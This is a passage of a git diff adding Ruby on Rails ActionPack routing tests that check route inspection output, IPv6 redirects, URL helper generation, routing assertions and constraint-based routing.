+        output = draw do
+          get "/sprockets" => MountedRackApp
+        end
+        assert_no_match(/MountedRackApp/, output.first)
+        assert_no_match(/\/sprockets/, output.first)
+      end
+
+      def test_rails_routes_shows_route_defined_in_under_assets_prefix
+        output = draw do
+          scope "/sprockets" do
+            get "/foo" => "foo#bar"
+          end
+        end
+        assert_equal [
+          "Prefix Verb URI Pattern              Controller#Action",
+          "   foo GET  /sprockets/foo(.:format) foo#bar"
+        ], output
+      end
+
+      def test_redirect
+        output = draw do
+          get "/foo"    => redirect("/foo/bar"), :constraints => { subdomain: "admin" }
+          get "/bar"    => redirect(path: "/foo/bar", status: 307)
+          get "/foobar" => redirect { "/foo/bar" }
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern       Controller#Action",
+          "   foo GET  /foo(.:format)    redirect(301, /foo/bar) {:subdomain=>\"admin\"}",
+          "   bar GET  /bar(.:format)    redirect(307, path: /foo/bar)",
+          "foobar GET  /foobar(.:format) redirect(301)"
+        ], output
+      end
+
+      def test_routes_can_be_filtered
+        output = draw("posts") do
+          resources :articles
+          resources :posts
+        end
+
+        assert_equal ["   Prefix Verb   URI Pattern               Controller#Action",
+                      "    posts GET    /posts(.:format)          posts#index",
+                      "          POST   /posts(.:format)          posts#create",
+                      " new_post GET    /posts/new(.:format)      posts#new",
+                      "edit_post GET    /posts/:id/edit(.:format) posts#edit",
+                      "     post GET    /posts/:id(.:format)      posts#show",
+                      "          PATCH  /posts/:id(.:format)      posts#update",
+                      "          PUT    /posts/:id(.:format)      posts#update",
+                      "          DELETE /posts/:id(.:format)      posts#destroy"], output
+      end
+
+      def test_routes_can_be_filtered_with_namespaced_controllers
+        output = draw("admin/posts") do
+          resources :articles
+          namespace :admin do
+            resources :posts
+          end
+        end
+
+        assert_equal ["         Prefix Verb   URI Pattern                     Controller#Action",
+                      "    admin_posts GET    /admin/posts(.:format)          admin/posts#index",
+                      "                POST   /admin/posts(.:format)          admin/posts#create",
+                      " new_admin_post GET    /admin/posts/new(.:format)      admin/posts#new",
+                      "edit_admin_post GET    /admin/posts/:id/edit(.:format) admin/posts#edit",
+                      "     admin_post GET    /admin/posts/:id(.:format)      admin/posts#show",
+                      "                PATCH  /admin/posts/:id(.:format)      admin/posts#update",
+                      "                PUT    /admin/posts/:id(.:format)      admin/posts#update",
+                      "                DELETE /admin/posts/:id(.:format)      admin/posts#destroy"], output
+      end
+
+      def test_regression_route_with_controller_regexp
+        output = draw do
+          ActiveSupport::Deprecation.silence do
+            get ":controller(/:action)", controller: /api\/[^\/]+/, format: false
+          end
+        end
+
+        assert_equal ["Prefix Verb URI Pattern            Controller#Action",
+                      "       GET  /:controller(/:action) :controller#:action"], output
+      end
+
+      def test_inspect_routes_shows_resources_route_when_assets_disabled
+        @set = ActionDispatch::Routing::RouteSet.new
+
+        output = draw do
+          get "/cart", to: "cart#show"
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern     Controller#Action",
+          "  cart GET  /cart(.:format) cart#show"
+        ], output
+      end
+
+      def test_routes_with_undefined_filter
+        output = draw(controller: "Rails::MissingController") do
+          get "photos/:id" => "photos#show", :id => /[A-Z]\d{5}/
+        end
+
+        assert_equal [
+          "No routes were found for this controller",
+          "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html."
+        ], output
+      end
+
+      def test_no_routes_matched_filter
+        output = draw("rails/dummy") do
+          get "photos/:id" => "photos#show", :id => /[A-Z]\d{5}/
+        end
+
+        assert_equal [
+          "No routes were found for this controller",
+          "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html."
+        ], output
+      end
+
+      def test_no_routes_were_defined
+        output = draw("Rails::DummyController") {}
+
+        assert_equal [
+          "You don't have any routes defined!",
+          "",
+          "Please add some routes in config/routes.rb.",
+          "",
+          "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html."
+        ], output
+      end
+
+      def test_displaying_routes_for_internal_engines
+        engine = Class.new(Rails::Engine) do
+          def self.inspect
+            "Blog::Engine"
+          end
+        end
+        engine.routes.draw do
+          get "/cart", to: "cart#show"
+          post "/cart", to: "cart#create"
+          patch "/cart", to: "cart#update"
+        end
+
+        output = draw do
+          get "/custom/assets", to: "custom_assets#show"
+          mount engine => "/blog", as: "blog", internal: true
+        end
+
+        assert_equal [
+          "       Prefix Verb URI Pattern              Controller#Action",
+          "custom_assets GET  /custom/assets(.:format) custom_assets#show",
+        ], output
+      end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/routing/ipv6_redirect_test.rb b/actionpack/test/dispatch/routing/ipv6_redirect_test.rb
new file mode 100644
index 0000000000..31559bffc7
--- /dev/null
+++ b/actionpack/test/dispatch/routing/ipv6_redirect_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class IPv6IntegrationTest < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new
+  include Routes.url_helpers
+
+  class ::BadRouteRequestController < ActionController::Base
+    include Routes.url_helpers
+    def index
+      render plain: foo_path
+    end
+
+    def foo
+      redirect_to action: :index
+    end
+  end
+
+  Routes.draw do
+    get "/",    to: "bad_route_request#index", as: :index
+    get "/foo", to: "bad_route_request#foo", as: :foo
+  end
+
+  def _routes
+    Routes
+  end
+
+  APP = build_app Routes
+  def app
+    APP
+  end
+
+  test "bad IPv6 redirection" do
+    #   def test_simple_redirect
+    request_env = {
+      "REMOTE_ADDR" => "fd07:2fa:6cff:2112:225:90ff:fec7:22aa",
+      "HTTP_HOST"   => "[fd07:2fa:6cff:2112:225:90ff:fec7:22aa]:3000",
+      "SERVER_NAME" => "[fd07:2fa:6cff:2112:225:90ff:fec7:22aa]",
+      "SERVER_PORT" => 3000 }
+
+    get "/foo", env: request_env
+    assert_response :redirect
+    assert_equal "http://[fd07:2fa:6cff:2112:225:90ff:fec7:22aa]:3000/", redirect_to_url
+  end
+end
diff --git a/actionpack/test/dispatch/routing/route_set_test.rb b/actionpack/test/dispatch/routing/route_set_test.rb
new file mode 100644
index 0000000000..e61d47b160
--- /dev/null
+++ b/actionpack/test/dispatch/routing/route_set_test.rb
@@ -0,0 +1,166 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Routing
+    class RouteSetTest < ActiveSupport::TestCase
+      class SimpleApp
+        def initialize(response)
+          @response = response
+        end
+
+        def call(env)
+          [ 200, { "Content-Type" => "text/plain" }, [response] ]
+        end
+      end
+
+      setup do
+        @set = RouteSet.new
+      end
+
+      test "not being empty when route is added" do
+        assert empty?
+
+        draw do
+          get "foo", to: SimpleApp.new("foo#index")
+        end
+
+        assert_not empty?
+      end
+
+      test "url helpers are added when route is added" do
+        draw do
+          get "foo", to: SimpleApp.new("foo#index")
+        end
+
+        assert_equal "/foo", url_helpers.foo_path
+        assert_raises NoMethodError do
+          assert_equal "/bar", url_helpers.bar_path
+        end
+
+        draw do
+          get "foo", to: SimpleApp.new("foo#index")
+          get "bar", to: SimpleApp.new("bar#index")
+        end
+
+        assert_equal "/foo", url_helpers.foo_path
+        assert_equal "/bar", url_helpers.bar_path
+      end
+
+      test "url helpers are updated when route is updated" do
+        draw do
+          get "bar", to: SimpleApp.new("bar#index"), as: :bar
+        end
+
+        assert_equal "/bar", url_helpers.bar_path
+
+        draw do
+          get "baz", to: SimpleApp.new("baz#index"), as: :bar
+        end
+
+        assert_equal "/baz", url_helpers.bar_path
+      end
+
+      test "url helpers are removed when route is removed" do
+        draw do
+          get "foo", to: SimpleApp.new("foo#index")
+          get "bar", to: SimpleApp.new("bar#index")
+        end
+
+        assert_equal "/foo", url_helpers.foo_path
+        assert_equal "/bar", url_helpers.bar_path
+
+        draw do
+          get "foo", to: SimpleApp.new("foo#index")
+        end
+
+        assert_equal "/foo", url_helpers.foo_path
+        assert_raises NoMethodError do
+          assert_equal "/bar", url_helpers.bar_path
+        end
+      end
+
+      test "only_path: true with *_url and no :host option" do
+        draw do
+          get "foo", to: SimpleApp.new("foo#index")
+        end
+
+        assert_equal "/foo", url_helpers.foo_url(only_path: true)
+      end
+
+      test "only_path: false with *_url and no :host option" do
+        draw do
+          get "foo", to: SimpleApp.new("foo#index")
+        end
+
+        assert_raises ArgumentError do
+          assert_equal "http://example.com/foo", url_helpers.foo_url(only_path: false)
+        end
+      end
+
+      test "only_path: false with *_url and local :host option" do
+        draw do
+          get "foo", to: SimpleApp.new("foo#index")
+        end
+
+        assert_equal "http://example.com/foo", url_helpers.foo_url(only_path: false, host: "example.com")
+      end
+
+      test "only_path: false with *_url and global :host option" do
+        @set.default_url_options = { host: "example.com" }
+
+        draw do
+          get "foo", to: SimpleApp.new("foo#index")
+        end
+
+        assert_equal "http://example.com/foo", url_helpers.foo_url(only_path: false)
+      end
+
+      test "explicit keys win over implicit keys" do
+        draw do
+          resources :foo do
+            resources :bar, to: SimpleApp.new("foo#show")
+          end
+        end
+
+        assert_equal "/foo/1/bar/2", url_helpers.foo_bar_path(1, 2)
+        assert_equal "/foo/1/bar/2", url_helpers.foo_bar_path(2, foo_id: 1)
+      end
+
+      test "having an optional scope with resources" do
+        draw do
+          scope "(/:foo)" do
+            resources :users
+          end
+        end
+
+        assert_equal "/users/1", url_helpers.user_path(1)
+        assert_equal "/users/1", url_helpers.user_path(1, foo: nil)
+        assert_equal "/a/users/1", url_helpers.user_path(1, foo: "a")
+      end
+
+      test "implicit path components consistently return the same result" do
+        draw do
+          resources :users, to: SimpleApp.new("foo#index")
+        end
+        assert_equal "/users/1.json", url_helpers.user_path(1, :json)
+        assert_equal "/users/1.json", url_helpers.user_path(1, format: :json)
+        assert_equal "/users/1.json", url_helpers.user_path(1, :json)
+      end
+
+      private
+        def draw(&block)
+          @set.draw(&block)
+        end
+
+        def url_helpers
+          @set.url_helpers
+        end
+
+        def empty?
+          @set.empty?
+        end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/routing_assertions_test.rb b/actionpack/test/dispatch/routing_assertions_test.rb
new file mode 100644
index 0000000000..a196fec7e9
--- /dev/null
+++ b/actionpack/test/dispatch/routing_assertions_test.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_controllers"
+
+class SecureArticlesController < ArticlesController; end
+class BlockArticlesController < ArticlesController; end
+class QueryArticlesController < ArticlesController; end
+
+class RoutingAssertionsTest < ActionController::TestCase
+  def setup
+    @routes = ActionDispatch::Routing::RouteSet.new
+    @routes.draw do
+      resources :articles
+
+      scope "secure", constraints: { protocol: "https://" } do
+        resources :articles, controller: "secure_articles"
+      end
+
+      scope "block", constraints: lambda { |r| r.ssl? } do
+        resources :articles, controller: "block_articles"
+      end
+
+      scope "query", constraints: lambda { |r| r.params[:use_query] == "true" } do
+        resources :articles, controller: "query_articles"
+      end
+    end
+  end
+
+  def test_assert_generates
+    assert_generates("/articles", controller: "articles", action: "index")
+    assert_generates("/articles/1", controller: "articles", action: "show", id: "1")
+  end
+
+  def test_assert_generates_with_defaults
+    assert_generates("/articles/1/edit", { controller: "articles", action: "edit" }, id: "1")
+  end
+
+  def test_assert_generates_with_extras
+    assert_generates("/articles", { controller: "articles", action: "index", page: "1" }, {}, page: "1")
+  end
+
+  def test_assert_recognizes
+    assert_recognizes({ controller: "articles", action: "index" }, "/articles")
+    assert_recognizes({ controller: "articles", action: "show", id: "1" }, "/articles/1")
+  end
+
+  def test_assert_recognizes_with_extras
+    assert_recognizes({ controller: "articles", action: "index", page: "1" }, "/articles", page: "1")
+  end
+
+  def test_assert_recognizes_with_method
+    assert_recognizes({ controller: "articles", action: "create" }, path: "/articles", method: :post)
+    assert_recognizes({ controller: "articles", action: "update", id: "1" }, path: "/articles/1", method: :put)
+  end
+
+  def test_assert_recognizes_with_hash_constraint
+    assert_raise(Assertion) do
+      assert_recognizes({ controller: "secure_articles", action: "index" }, "http://test.host/secure/articles")
+    end
+    assert_recognizes({ controller: "secure_articles", action: "index", protocol: "https://" }, "https://test.host/secure/articles")
+  end
+
+  def test_assert_recognizes_with_block_constraint
+    assert_raise(Assertion) do
+      assert_recognizes({ controller: "block_articles", action: "index" }, "http://test.host/block/articles")
+    end
+    assert_recognizes({ controller: "block_articles", action: "index" }, "https://test.host/block/articles")
+  end
+
+  def test_assert_recognizes_with_query_constraint
+    assert_raise(Assertion) do
+      assert_recognizes({ controller: "query_articles", action: "index", use_query: "false" }, "/query/articles", use_query: "false")
+    end
+    assert_recognizes({ controller: "query_articles", action: "index", use_query: "true" }, "/query/articles", use_query: "true")
+  end
+
+  def test_assert_recognizes_raises_message
+    err = assert_raise(Assertion) do
+      assert_recognizes({ controller: "secure_articles", action: "index" }, "http://test.host/secure/articles", {}, "This is a really bad msg")
+    end
+
+    assert_match err.message, "This is a really bad msg"
+  end
+
+  def test_assert_routing
+    assert_routing("/articles", controller: "articles", action: "index")
+  end
+
+  def test_assert_routing_raises_message
+    err = assert_raise(Assertion) do
+      assert_routing("/thisIsNotARoute", { controller: "articles", action: "edit", id: "1" }, { id: "1" }, {}, "This is a really bad msg")
+    end
+
+    assert_match err.message, "This is a really bad msg"
+  end
+
+  def test_assert_routing_with_defaults
+    assert_routing("/articles/1/edit", { controller: "articles", action: "edit", id: "1" }, id: "1")
+  end
+
+  def test_assert_routing_with_extras
+    assert_routing("/articles", { controller: "articles", action: "index", page: "1" }, {}, page: "1")
+  end
+
+  def test_assert_routing_with_hash_constraint
+    assert_raise(Assertion) do
+      assert_routing("http://test.host/secure/articles", controller: "secure_articles", action: "index")
+    end
+    assert_routing("https://test.host/secure/articles", controller: "secure_articles", action: "index", protocol: "https://")
+  end
+
+  def test_assert_routing_with_block_constraint
+    assert_raise(Assertion) do
+      assert_routing("http://test.host/block/articles", controller: "block_articles", action: "index")
+    end
+    assert_routing("https://test.host/block/articles", controller: "block_articles", action: "index")
+  end
+
+  def test_with_routing
+    with_routing do |routes|
+      routes.draw do
+        resources :articles, path: "artikel"
+      end
+
+      assert_routing("/artikel", controller: "articles", action: "index")
+      assert_raise(Assertion) do
+        assert_routing("/articles", controller: "articles", action: "index")
+      end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
new file mode 100644
index 0000000000..1af0edc1d3
--- /dev/null
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -0,0 +1,5045 @@
+# frozen_string_literal: true
+
+require "erb"
+require "abstract_unit"
+require "controller/fake_controllers"
+
+class TestRoutingMapper < ActionDispatch::IntegrationTest
+  SprocketsApp = lambda { |env|
+    [200, { "Content-Type" => "text/html" }, ["javascripts"]]
+  }
+
+  class IpRestrictor
+    def self.matches?(request)
+      request.ip =~ /192\.168\.1\.1\d\d/
+    end
+  end
+
+  class GrumpyRestrictor
+    def self.matches?(request)
+      false
+    end
+  end
+
+  class YoutubeFavoritesRedirector
+    def self.call(params, request)
+      "http://www.youtube.com/watch?v=#{params[:youtube_id]}"
+    end
+  end
+
+  def test_logout
+    draw do
+      controller :sessions do
+        delete "logout" => :destroy
+      end
+    end
+
+    delete "/logout"
+    assert_equal "sessions#destroy", @response.body
+
+    assert_equal "/logout", logout_path
+    assert_equal "/logout", url_for(controller: "sessions", action: "destroy", only_path: true)
+  end
+
+  def test_login
+    draw do
+      default_url_options host: "rubyonrails.org"
+
+      controller :sessions do
+        get  "login" => :new
+        post "login" => :create
+      end
+    end
+
+    get "/login"
+    assert_equal "sessions#new", @response.body
+    assert_equal "/login", login_path
+
+    post "/login"
+    assert_equal "sessions#create", @response.body
+
+    assert_equal "/login", url_for(controller: "sessions", action: "create", only_path: true)
+    assert_equal "/login", url_for(controller: "sessions", action: "new", only_path: true)
+
+    assert_equal "http://rubyonrails.org/login", url_for(controller: "sessions", action: "create")
+    assert_equal "http://rubyonrails.org/login", login_url
+  end
+
+  def test_login_redirect
+    draw do
+      get "account/login", to: redirect("/login")
+    end
+
+    get "/account/login"
+    verify_redirect "http://www.example.com/login"
+  end
+
+  def test_logout_redirect_without_to
+    draw do
+      get "account/logout" => redirect("/logout"), :as => :logout_redirect
+    end
+
+    assert_equal "/account/logout", logout_redirect_path
+    get "/account/logout"
+    verify_redirect "http://www.example.com/logout"
+  end
+
+  def test_namespace_redirect
+    draw do
+      namespace :private do
+        root to: redirect("/private/index")
+        get "index", to: "private#index"
+      end
+    end
+
+    get "/private"
+    verify_redirect "http://www.example.com/private/index"
+  end
+
+  def test_redirect_with_failing_constraint
+    draw do
+      get "hi", to: redirect("/foo"), constraints: ::TestRoutingMapper::GrumpyRestrictor
+    end
+
+    get "/hi"
+    assert_equal 404, status
+  end
+
+  def test_redirect_with_passing_constraint
+    draw do
+      get "hi", to: redirect("/foo"), constraints: ->(req) { true }
+    end
+
+    get "/hi"
+    assert_equal 301, status
+  end
+
+  def test_namespace_with_controller_segment
+    assert_raise(ArgumentError) do
+      draw do
+        namespace :admin do
+          ActiveSupport::Deprecation.silence do
+            get "/:controller(/:action(/:id(.:format)))"
+          end
+        end
+      end
+    end
+  end
+
+  def test_namespace_without_controller_segment
+    draw do
+      namespace :admin do
+        ActiveSupport::Deprecation.silence do
+          get "hello/:controllers/:action"
+        end
+      end
+    end
+    get "/admin/hello/foo/new"
+    assert_equal "foo", @request.params["controllers"]
+  end
+
+  def test_session_singleton_resource
+    draw do
+      resource :session do
+        get :create
+        post :reset
+      end
+    end
+
+    get "/session"
+    assert_equal "sessions#create", @response.body
+    assert_equal "/session", session_path
+
+    post "/session"
+    assert_equal "sessions#create", @response.body
+
+    put "/session"
+    assert_equal "sessions#update", @response.body
+
+    delete "/session"
+    assert_equal "sessions#destroy", @response.body
+
+    get "/session/new"
+    assert_equal "sessions#new", @response.body
+    assert_equal "/session/new", new_session_path
+
+    get "/session/edit"
+    assert_equal "sessions#edit", @response.body
+    assert_equal "/session/edit", edit_session_path
+
+    post "/session/reset"
+    assert_equal "sessions#reset", @response.body
+    assert_equal "/session/reset", reset_session_path
+  end
+
+  def test_session_singleton_resource_for_api_app
+    config = ActionDispatch::Routing::RouteSet::Config.new
+    config.api_only = true
+
+    self.class.stub_controllers(config) do |routes|
+      routes.draw do
+        resource :session do
+          get :create
+          post :reset
+        end
+      end
+      @app = RoutedRackApp.new routes
+    end
+
+    get "/session"
+    assert_equal "sessions#create", @response.body
+    assert_equal "/session", session_path
+
+    post "/session"
+    assert_equal "sessions#create", @response.body
+
+    put "/session"
+    assert_equal "sessions#update", @response.body
+
+    delete "/session"
+    assert_equal "sessions#destroy", @response.body
+
+    post "/session/reset"
+    assert_equal "sessions#reset", @response.body
+    assert_equal "/session/reset", reset_session_path
+
+    get "/session/new"
+    assert_equal "Not Found", @response.body
+
+    get "/session/edit"
+    assert_equal "Not Found", @response.body
+  end
+
+  def test_session_info_nested_singleton_resource
+    draw do
+      resource :session do
+        resource :info
+      end
+    end
+
+    get "/session/info"
+    assert_equal "infos#show", @response.body
+    assert_equal "/session/info", session_info_path
+  end
+
+  def test_member_on_resource
+    draw do
+      resource :session do
+        member do
+          get :crush
+        end
+      end
+    end
+
+    get "/session/crush"
+    assert_equal "sessions#crush", @response.body
+    assert_equal "/session/crush", crush_session_path
+  end
+
+  def test_redirect_modulo
+    draw do
+      get "account/modulo/:name", to: redirect("/%{name}s")
+    end
+
+    get "/account/modulo/name"
+    verify_redirect "http://www.example.com/names"
+  end
+
+  def test_redirect_proc
+    draw do
+      get "account/proc/:name", to: redirect { |params, req| "/#{params[:name].pluralize}" }
+    end
+
+    get "/account/proc/person"
+    verify_redirect "http://www.example.com/people"
+  end
+
+  def test_redirect_proc_with_request
+    draw do
+      get "account/proc_req" => redirect { |params, req| "/#{req.method}" }
+    end
+
+    get "/account/proc_req"
+    verify_redirect "http://www.example.com/GET"
+  end
+
+  def test_redirect_hash_with_subdomain
+    draw do
+      get "mobile", to: redirect(subdomain: "mobile")
+    end
+
+    get "/mobile"
+    verify_redirect "http://mobile.example.com/mobile"
+  end
+
+  def test_redirect_hash_with_domain_and_path
+    draw do
+      get "documentation", to: redirect(domain: "example-documentation.com", path: "")
+    end
+
+    get "/documentation"
+    verify_redirect "http://www.example-documentation.com"
+  end
+
+  def test_redirect_hash_with_path
+    draw do
+      get "new_documentation", to: redirect(path: "/documentation/new")
+    end
+
+    get "/new_documentation"
+    verify_redirect "http://www.example.com/documentation/new"
+  end
+
+  def test_redirect_hash_with_host
+    draw do
+      get "super_new_documentation", to: redirect(host: "super-docs.com")
+    end
+
+    get "/super_new_documentation?section=top"
+    verify_redirect "http://super-docs.com/super_new_documentation?section=top"
+  end
+
+  def test_redirect_hash_path_substitution
+    draw do
+      get "stores/:name", to: redirect(subdomain: "stores", path: "/%{name}")
+    end
+
+    get "/stores/iernest"
+    verify_redirect "http://stores.example.com/iernest"
+  end
+
+  def test_redirect_hash_path_substitution_with_catch_all
+    draw do
+      get "stores/:name(*rest)", to: redirect(subdomain: "stores", path: "/%{name}%{rest}")
+    end
+
+    get "/stores/iernest/products"
+    verify_redirect "http://stores.example.com/iernest/products"
+  end
+
+  def test_redirect_class
+    draw do
+      get "youtube_favorites/:youtube_id/:name", to: redirect(YoutubeFavoritesRedirector)
+    end
+
+    get "/youtube_favorites/oHg5SJYRHA0/rick-rolld"
+    verify_redirect "http://www.youtube.com/watch?v=oHg5SJYRHA0"
+  end
+
+  def test_openid
+    draw do
+      match "openid/login", via: [:get, :post], to: "openid#login"
+    end
+
+    get "/openid/login"
+    assert_equal "openid#login", @response.body
+
+    post "/openid/login"
+    assert_equal "openid#login", @response.body
+  end
+
+  def test_bookmarks
+    draw do
+      scope "bookmark", controller: "bookmarks", as: :bookmark do
+        get  :new, path: "build"
+        post :create, path: "create", as: ""
+        put  :update
+        get  :remove, action: :destroy, as: :remove
+      end
+    end
+
+    get "/bookmark/build"
+    assert_equal "bookmarks#new", @response.body
+    assert_equal "/bookmark/build", bookmark_new_path
+
+    post "/bookmark/create"
+    assert_equal "bookmarks#create", @response.body
+    assert_equal "/bookmark/create", bookmark_path
+
+    put "/bookmark/update"
+    assert_equal "bookmarks#update", @response.body
+    assert_equal "/bookmark/update", bookmark_update_path
+
+    get "/bookmark/remove"
+    assert_equal "bookmarks#destroy", @response.body
+    assert_equal "/bookmark/remove", bookmark_remove_path
+  end
+
+  def test_pagemarks
+    draw do
+      scope "pagemark", controller: "pagemarks", as: :pagemark do
+        get "build", action: "new", as: "new"
+        post "create", as: ""
+        put  "update"
+        get  "remove", action: :destroy, as: :remove
+        get "", action: :show, as: :show
+      end
+    end
+
+    get "/pagemark/build"
+    assert_equal "pagemarks#new", @response.body
+    assert_equal "/pagemark/build", pagemark_new_path
+
+    post "/pagemark/create"
+    assert_equal "pagemarks#create", @response.body
+    assert_equal "/pagemark/create", pagemark_path
+
+    put "/pagemark/update"
+    assert_equal "pagemarks#update", @response.body
+    assert_equal "/pagemark/update", pagemark_update_path
+
+    get "/pagemark/remove"
+    assert_equal "pagemarks#destroy", @response.body
+    assert_equal "/pagemark/remove", pagemark_remove_path
+
+    get "/pagemark"
+    assert_equal "pagemarks#show", @response.body
+    assert_equal "/pagemark", pagemark_show_path
+  end
+
+  def test_admin
+    draw do
+      constraints(ip: /192\.168\.1\.\d\d\d/) do
+        get "admin" => "queenbee#index"
+      end
+
+      constraints ::TestRoutingMapper::IpRestrictor do
+        get "admin/accounts" => "queenbee#accounts"
+      end
+
+      get "admin/passwords" => "queenbee#passwords", :constraints => ::TestRoutingMapper::IpRestrictor
+    end
+
+    get "/admin", headers: { "REMOTE_ADDR" => "192.168.1.100" }
+    assert_equal "queenbee#index", @response.body
+
+    get "/admin", headers: { "REMOTE_ADDR" => "10.0.0.100" }
+    assert_equal "pass", @response.headers["X-Cascade"]
+
+    get "/admin/accounts", headers: { "REMOTE_ADDR" => "192.168.1.100" }
+    assert_equal "queenbee#accounts", @response.body
+
+    get "/admin/accounts", headers: { "REMOTE_ADDR" => "10.0.0.100" }
+    assert_equal "pass", @response.headers["X-Cascade"]
+
+    get "/admin/passwords", headers: { "REMOTE_ADDR" => "192.168.1.100" }
+    assert_equal "queenbee#passwords", @response.body
+
+    get "/admin/passwords", headers: { "REMOTE_ADDR" => "10.0.0.100" }
+    assert_equal "pass", @response.headers["X-Cascade"]
+  end
+
+  def test_global
+    draw do
+      controller(:global) do
+        get "global/hide_notice"
+        get "global/export",      action: :export, as: :export_request
+        get "/export/:id/:file",  action: :export, as: :export_download, constraints: { file: /.*/ }
+
+        ActiveSupport::Deprecation.silence do
+          get "global/:action"
+        end
+      end
+    end
+
+    get "/global/dashboard"
+    assert_equal "global#dashboard", @response.body
+
+    get "/global/export"
+    assert_equal "global#export", @response.body
+
+    get "/global/hide_notice"
+    assert_equal "global#hide_notice", @response.body
+
+    get "/export/123/foo.txt"
+    assert_equal "global#export", @response.body
+
+    assert_equal "/global/export", export_request_path
+    assert_equal "/global/hide_notice", global_hide_notice_path
+    assert_equal "/export/123/foo.txt", export_download_path(id: 123, file: "foo.txt")
+  end
+
+  def test_local
+    draw do
+      ActiveSupport::Deprecation.silence do
+        get "/local/:action", controller: "local"
+      end
+    end
+
+    get "/local/dashboard"
+    assert_equal "local#dashboard", @response.body
+  end
+
+  # tests the use of dup in url_for
+  def test_url_for_with_no_side_effects
+    draw do
+      get "/projects/status(.:format)"
+    end
+
+    # without dup, additional (and possibly unwanted) values will be present in the options (eg. :host)
+    original_options = { controller: "projects", action: "status" }
+    options = original_options.dup
+
+    url_for options
+
+    # verify that the options passed in have not changed from the original ones
+    assert_equal original_options, options
+  end
+
+  def test_url_for_does_not_modify_controller
+    draw do
+      get "/projects/status(.:format)"
+    end
+
+    controller = "/projects"
+    options = { controller: controller, action: "status", only_path: true }
+    url = url_for(options)
+
+    assert_equal "/projects/status", url
+    assert_equal "/projects", controller
+  end
+
+  # tests the arguments modification free version of define_hash_access
+  def test_named_route_with_no_side_effects
+    draw do
+      resources :customers do
+        get "profile", on: :member
+      end
+    end
+
+    original_options = { host: "test.host" }
+    options = original_options.dup
+
+    profile_customer_url("customer_model", options)
+
+    # verify that the options passed in have not changed from the original ones
+    assert_equal original_options, options
+  end
+
+  def test_projects_status
+    draw do
+      get "/projects/status(.:format)"
+    end
+
+    assert_equal "/projects/status", url_for(controller: "projects", action: "status", only_path: true)
+    assert_equal "/projects/status.json", url_for(controller: "projects", action: "status", format: "json", only_path: true)
+  end
+
+  def test_projects
+    draw do
+      resources :projects, controller: :project
+    end
+
+    get "/projects"
+    assert_equal "project#index", @response.body
+    assert_equal "/projects", projects_path
+
+    post "/projects"
+    assert_equal "project#create", @response.body
+
+    get "/projects.xml"
+    assert_equal "project#index", @response.body
+    assert_equal "/projects.xml", projects_path(format: "xml")
+
+    get "/projects/new"
+    assert_equal "project#new", @response.body
+    assert_equal "/projects/new", new_project_path
+
+    get "/projects/new.xml"
+    assert_equal "project#new", @response.body
+    assert_equal "/projects/new.xml", new_project_path(format: "xml")
+
+    get "/projects/1"
+    assert_equal "project#show", @response.body
+    assert_equal "/projects/1", project_path(id: "1")
+
+    get "/projects/1.xml"
+    assert_equal "project#show", @response.body
+    assert_equal "/projects/1.xml", project_path(id: "1", format: "xml")
+
+    get "/projects/1/edit"
+    assert_equal "project#edit", @response.body
+    assert_equal "/projects/1/edit", edit_project_path(id: "1")
+  end
+
+  def test_projects_for_api_app
+    config = ActionDispatch::Routing::RouteSet::Config.new
+    config.api_only = true
+
+    self.class.stub_controllers(config) do |routes|
+      routes.draw do
+        resources :projects, controller: :project
+      end
+      @app = RoutedRackApp.new routes
+    end
+
+    get "/projects"
+    assert_equal "project#index", @response.body
+    assert_equal "/projects", projects_path
+
+    post "/projects"
+    assert_equal "project#create", @response.body
+
+    get "/projects.xml"
+    assert_equal "project#index", @response.body
+    assert_equal "/projects.xml", projects_path(format: "xml")
+
+    get "/projects/1"
+    assert_equal "project#show", @response.body
+    assert_equal "/projects/1", project_path(id: "1")
+
+    get "/projects/1.xml"
+    assert_equal "project#show", @response.body
+    assert_equal "/projects/1.xml", project_path(id: "1", format: "xml")
+
+    get "/projects/1/edit"
+    assert_equal "Not Found", @response.body
+  end
+
+  def test_projects_with_post_action_and_new_path_on_collection
+    draw do
+      resources :projects, controller: :project do
+        post "new", action: "new", on: :collection, as: :new
+      end
+    end
+
+    post "/projects/new"
+    assert_equal "project#new", @response.body
+    assert_equal "/projects/new", new_projects_path
+  end
+
+  def test_projects_involvements
+    draw do
+      resources :projects, controller: :project do
+        resources :involvements, :attachments
+      end
+    end
+
+    get "/projects/1/involvements"
+    assert_equal "involvements#index", @response.body
+    assert_equal "/projects/1/involvements", project_involvements_path(project_id: "1")
+
+    get "/projects/1/involvements/new"
+    assert_equal "involvements#new", @response.body
+    assert_equal "/projects/1/involvements/new", new_project_involvement_path(project_id: "1")
+
+    get "/projects/1/involvements/1"
+    assert_equal "involvements#show", @response.body
+    assert_equal "/projects/1/involvements/1", project_involvement_path(project_id: "1", id: "1")
+
+    put "/projects/1/involvements/1"
+    assert_equal "involvements#update", @response.body
+
+    delete "/projects/1/involvements/1"
+    assert_equal "involvements#destroy", @response.body
+
+    get "/projects/1/involvements/1/edit"
+    assert_equal "involvements#edit", @response.body
+    assert_equal "/projects/1/involvements/1/edit", edit_project_involvement_path(project_id: "1", id: "1")
+  end
+
+  def test_projects_attachments
+    draw do
+      resources :projects, controller: :project do
+        resources :involvements, :attachments
+      end
+    end
+
+    get "/projects/1/attachments"
+    assert_equal "attachments#index", @response.body
+    assert_equal "/projects/1/attachments", project_attachments_path(project_id: "1")
+  end
+
+  def test_projects_participants
+    draw do
+      resources :projects, controller: :project do
+        resources :participants do
+          put :update_all, on: :collection
+        end
+      end
+    end
+
+    get "/projects/1/participants"
+    assert_equal "participants#index", @response.body
